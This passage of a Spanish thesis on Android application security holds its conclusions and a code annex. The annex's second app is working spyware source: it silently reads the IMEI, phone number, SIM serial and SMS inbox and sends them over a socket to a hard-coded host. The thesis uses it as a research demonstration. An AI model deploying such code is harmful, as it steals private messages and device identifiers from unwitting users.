para identificar si se tratará de algún malware conocido
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Fig. 37: Código que crea los sockets en la aplicación maliciosa (elaboración propia)
Fig. 39: Análisis de aplicación maliciosa por VirusTotal
(elaboración propia)
Fig. 38: Parte del reporte generado por androwarn (elaboración propia)
6 Conclusiones
La seguridad informática es una ciencia compleja y que engloba muchos ámbitos de la
informática, las redes informáticas, las aplicaciones, los sistemas operativos, el diseño
de software… etc.
Estar  completamente seguros es todavía más complejo,  por no decir  que imposible.
Siempre existirá una manera de penetrar en un sistema debido a los diferentes elementos
que en el interaccionan.
Sin embargo,  el  elemento más común es el  uso diario de aplicaciones  por usuarios
comunes,  en  este  caso  es  necesario  educar  y  enseñar  para  no  cometer  los  errores
mencionados anteriormente. 
Concretamente, en el caso de Android los usuarios deberían conocer y leer los diferentes
permisos que otorgan cuando instalan una aplicación y saber que en todo momento el
acceso que se le ha otorgado a esa aplicación podría ser ejercido.
Hace ya bastante tiempo que Android se encuentra entre nosotros, y esta mejorando
mucho la seguridad del sistema, pero sin unos usuarios concienciados y educados no se
podrá nunca garantizar la seguridad.
Con las herramientas vistas anteriormente, y los diferentes tipos de análisis, se podrían
analizar las aplicaciones para estar seguros de que lo que se instala en un dispositivo es
completamente lícito.
Para continuar investigando en los ámbitos tratados, se podría estudiar las diferentes
vulnerabilidades a nivel de sistema operativo y no solo centrándose en las aplicaciones
de terceros. Como por ejemplo, la famosa vulnerabilidad de stagefright.
También se podría contemplar la posibilidad de realizar un  bypass de los permisos a
nivel  de  aplicación  y  no  solo  utilizando  técnicas  de  ingeniería  social,  así  como,
contemplar otras herramientas de análisis de software.
Es importante conocer que las técnicas utilizadas en esta investigación servirían igual
para aplicaciones de cualquier tipo de sistema y dispositivo, ya que conceptualmente las
técnicas de análisis de software son las mismas, solo cambiarían las herramientas.
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Anexos
    DeviceInformation v.1
La siguiente aplicación muestra un activity al usuario con la información del dispositivo
más interesante que se puede extraer a través de las clases  TelephonyManager y
Build.
Se  trata  de  un  Activity que  va  añadiendo  a  un  TextView la  información  del
dispositivo.
import android.content.Context;
import android.os.Build;
import android.os.Bundle;
import android.support.v7.app.AppCompatActivity;
import android.telephony.TelephonyManager;
import android.widget.TextView;
public class MainActivity extends AppCompatActivity {
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        TelephonyManager telephonyManager;
        TextView textView;
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        textView = (TextView)findViewById(R.id.output);
        telephonyManager = (TelephonyManager)getSystemService(Context.TELEPHONY_SERVICE);
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Fig. 40: Aplicación DeviceInformation sobre Android
5.1 (elaboración propia)
        textView.append("Device Id. (IMEI):" + telephonyManager.getDeviceId()+"\n");
        textView.append("Phone number: " + telephonyManager.getLine1Number()+"\n");
        textView.append("Network Operator:" + telephonyManager.getNetworkOperatorName()+"\n");
        textView.append("SIM Serial: " + telephonyManager.getSimSerialNumber()+"\n");
        textView.append("SIM Operator: " + telephonyManager.getSimOperatorName()+"\n");
        // build
        textView.append("SDK v.:" + Build.VERSION.SDK_INT+"\n");
        textView.append("Manufacturer: "+Build.MANUFACTURER+"\n");
        textView.append("Brand: "+Build.BRAND+"\n");
        textView.append("Hardware: " + Build.HARDWARE+"\n");
        textView.append("Bootloader: " + Build.BOOTLOADER+"\n");
        textView.append("Release: " + Build.VERSION.RELEASE+"\n");
        textView.append("Device: " + Build.DEVICE+"\n");
    }
}
    DeviceInformation v.2
El siguiente código se trata de un Activity vacío, que enviará a través de un socket la
información recogida  del  TelephonyManager,  de  la  clase  Build y  los  mensajes  de
texto.
// MainActivity.java
public class MainActivity extends Activity {
    private static final String HOST = "192.168.1.5";
    private static final int PORT = 4444;
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        TelephonyManager telephonyManager;
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        SMSReader smsreader = new SMSReader(this);
        String sms = smsreader.getInboxSMS();
        telephonyManager = (TelephonyManager)getSystemService(Context.TELEPHONY_SERVICE);
        SocketClient client = new SocketClient(HOST, PORT);
        client.pushMessage("Device Id. (IMEI): " + telephonyManager.getDeviceId()+"\n");
        client.pushMessage("Phone number: " + telephonyManager.getLine1Number()+"\n");
        client.pushMessage("Network Operator: " + telephonyManager.getNetworkOperatorName()+"\n");
        client.pushMessage("SIM Serial: " + telephonyManager.getSimSerialNumber()+"\n");
        client.pushMessage("SIM Operator: " + telephonyManager.getSimOperatorName()+"\n");
        client.pushMessage("SDK v.: " + Build.VERSION.SDK_INT+"\n");
        client.pushMessage("Manufacturer: "+ Build.MANUFACTURER+"\n");
        client.pushMessage("Brand: "+Build.BRAND+"\n");
        client.pushMessage("Hardware: " + Build.HARDWARE+"\n");
        client.pushMessage("Bootloader: " + Build.BOOTLOADER+"\n");
        client.pushMessage("Release: " + Build.VERSION.RELEASE+"\n");
        client.pushMessage("Device: " + Build.DEVICE+"\n");
        client.pushMessage("\n\n" + sms + "\n\n");
        client.execute();
        finish();
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// SocketClient.java
class SocketClient extends AsyncTask<Void, Void, Void> {
    private Socket socket;
    private String host;
    private int port;
    private PriorityQueue<String> messages;
    SocketClient(String host, int port)
    {
        this.host = host;
        this.port = port;
        this.socket = null;
        this.messages = new PriorityQueue<>();
    }
    void pushMessage(String message)
    {
        this.messages.add(message);
    }
    @Override
    protected Void doInBackground(Void... params)
    {
        try {
            this.socket = new Socket(this.host, this.port);
            PrintStream ps = new PrintStream(this.socket.getOutputStream());
            while(!this.messages.isEmpty()) {
                ps.print(this.messages.poll());
            }
            ps.close();
        } catch (Exception e) {
            e.printStackTrace();
        } finally {
            if(this.socket != null) {
                try {
                    this.socket.close();
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
        }
        return null;
    }
}
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// SMSReader.java
class SMSReader {
    public final static String DRAFT = "draft";
    public final static String INBOX = "inbox";
    private Activity activity;
    SMSReader(Activity a)
    {
        activity = a;
    }
    public String getSmsFromTray(String tray)
    {
        String msg = "";
        Cursor cursor = activity.getContentResolver().query(
                Uri.parse("content://sms/"+tray), null, null, null, null
        );
        if (cursor.moveToFirst()) {
            do {
                msg += "From/To: "+cursor.getString(cursor.getColumnIndex("address"));
                msg += "\nTimes read: "+cursor.getString(cursor.getColumnIndex("read"));
                msg += "\n"+cursor.getString(cursor.getColumnIndex("body"));
                msg += "\n\n";
            } while (cursor.moveToNext());
        } else {
            msg = tray+" its empty";
        }
        return msg;
    }
}
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